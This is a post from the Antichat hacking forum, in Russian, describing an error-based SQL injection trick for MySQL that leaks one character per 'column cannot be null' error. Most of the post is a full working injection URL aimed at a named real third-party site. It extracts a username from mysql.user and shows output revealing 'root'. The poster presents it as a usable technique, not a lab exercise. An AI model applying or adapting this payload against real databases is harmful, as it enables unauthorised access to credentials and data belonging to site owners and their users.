|
Reservists Of Antichat - Level 6
Регистрация: 05.12.2006
Сообщений: 195
Провел на форуме: 14023893
Репутация:
2163
|
|
не актуальный ресерч по методу 12 ошибок.
т.к. кол-во приведеных ошибок крайне мало, возникла идея "динамического" использования рантайм ошибок mysql, которые могут содержать информацию от клиента, для примера я взял error column 'xxx' cannot be null forum.antichat.ru/showpost.php?p=1716996&postcount=18
если использовать not null колонки в конкатенации с необходимым диапазоном символов, можно составить универсальный (но длинный'() запрос на основе 1 ошибки
вот конкретная реализация для всех символов из диапазона [0..9],[A..Z],[a..z]
http://widener.webstudy.com/doc.php?id=elt(ascii(substring((select user from mysql.user limit 1,1),1,1))-47,(select user-'0'from mysql.user union select 1%0 limit 1),(select user-'1'from mysql.user union select 1%0 limit 1),(select user-'2'from mysql.user union select 1%0 limit 1),(select user-'3'from mysql.user union select 1%0 limit 1),(select user-'4'from mysql.user union select 1%0 limit 1),(select user-'5'from mysql.user union select 1%0 limit 1),(select user-'6'from mysql.user union select 1%0 limit 1),(select user-'7'from mysql.user union select 1%0 limit 1),(select user-'8'from mysql.user union select 1%0 limit 1),(select user-'9'from mysql.user union select 1%0 limit 1),1,1,1,1,1,1,1,(select user-'A'from mysql.user union select 1%0 limit 1),(select user-'B'from mysql.user union select 1%0 limit 1),(select user-'C'from mysql.user union select 1%0 limit 1),(select user-'D'from mysql.user union select 1%0 limit 1),(select user-'E'from mysql.user union select 1%0 limit 1),(select user-'F'from mysql.user union select 1%0 limit 1),(select user-'G'from mysql.user union select 1%0 limit 1),(select user-'H'from mysql.user union select 1%0 limit 1),(select user-'I'from mysql.user union select 1%0 limit 1),(select user-'J'from mysql.user union select 1%0 limit 1),(select user-'K'from mysql.user union select 1%0 limit 1),(select user-'L'from mysql.user union select 1%0 limit 1),(select user-'M'from mysql.user union select 1%0 limit 1),(select user-'N'from mysql.user union select 1%0 limit 1),(select user-'O'from mysql.user union select 1%0 limit 1),(select user-'P'from mysql.user union select 1%0 limit 1),(select user-'Q'from mysql.user union select 1%0 limit 1),(select user-'R'from mysql.user union select 1%0 limit 1),(select user-'S'from mysql.user union select 1%0 limit 1),(select user-'T'from mysql.user union select 1%0 limit 1),(select user-'U'from mysql.user union select 1%0 limit 1),(select user-'V'from mysql.user union select 1%0 limit 1),(select user-'W'from mysql.user union select 1%0 limit 1),(select user-'X'from mysql.user union select 1%0 limit 1),(select user-'Y'from mysql.user union select 1%0 limit 1),(select user-'Z'from mysql.user union select 1%0 limit 1),1,1,1,1,1,1,(select user-0x61 from mysql.user union select 1%0 limit 1),(select user-0x62 from mysql.user union select 1%0 limit 1),(select user-0x63 from mysql.user union select 1%0 limit 1),(select user-0x64 from mysql.user union select 1%0 limit 1),(select user-0x65 from mysql.user union select 1%0 limit 1),(select user-0x66 from mysql.user union select 1%0 limit 1),(select user-0x67 from mysql.user union select 1%0 limit 1),(select user-0x68 from mysql.user union select 1%0 limit 1),(select user-0x69 from mysql.user union select 1%0 limit 1),(select user-0x6A from mysql.user union select 1%0 limit 1),(select user-0x6B from mysql.user union select 1%0 limit 1),(select user-0x6C from mysql.user union select 1%0 limit 1),(select user-0x6D from mysql.user union select 1%0 limit 1),(select user-0x6E from mysql.user union select 1%0 limit 1),(select user-0x6F from mysql.user union select 1%0 limit 1),(select user-0x70 from mysql.user union select 1%0 limit 1),(select user-0x71 from mysql.user union select 1%0 limit 1),(select user-0x72 from mysql.user union select 1%0 limit 1),(select user-0x73 from mysql.user union select 1%0 limit 1),(select user-0x74 from mysql.user union select 1%0 limit 1),(select user-0x75 from mysql.user union select 1%0 limit 1),(select user-0x76 from mysql.user union select 1%0 limit 1),(select user-0x77 from mysql.user union select 1%0 limit 1),(select user-0x78 from mysql.user union select 1%0 limit 1),(select user-0x79 from mysql.user union select 1%0 limit 1),(select user-0x7A from mysql.user union select 1%0 limit 1))
Column 'user-0x72' cannot be null, 0x72 = r (root)
т.е. в зависимости от результата подзапроса возвращается n-ая ошибка содержащая n-ый символ, -47 - ascii(0)-1 (подгонка под функцию elt)
итого: 1 запрос к бд и огромные лог файлы на сервере => помидорами не закидывать 
__________________
Я так же грустен как орангутанг
Сидящей пред галдящею толпою
Суровый житель отогретых стран
Коварно преданный разлуке и покою
Ему и мне насмешница судьба
Дала для жизни крохотную клетку
Нам предстоит в ней долгоя хотьба
За тертую морковь, и за конфетку..
|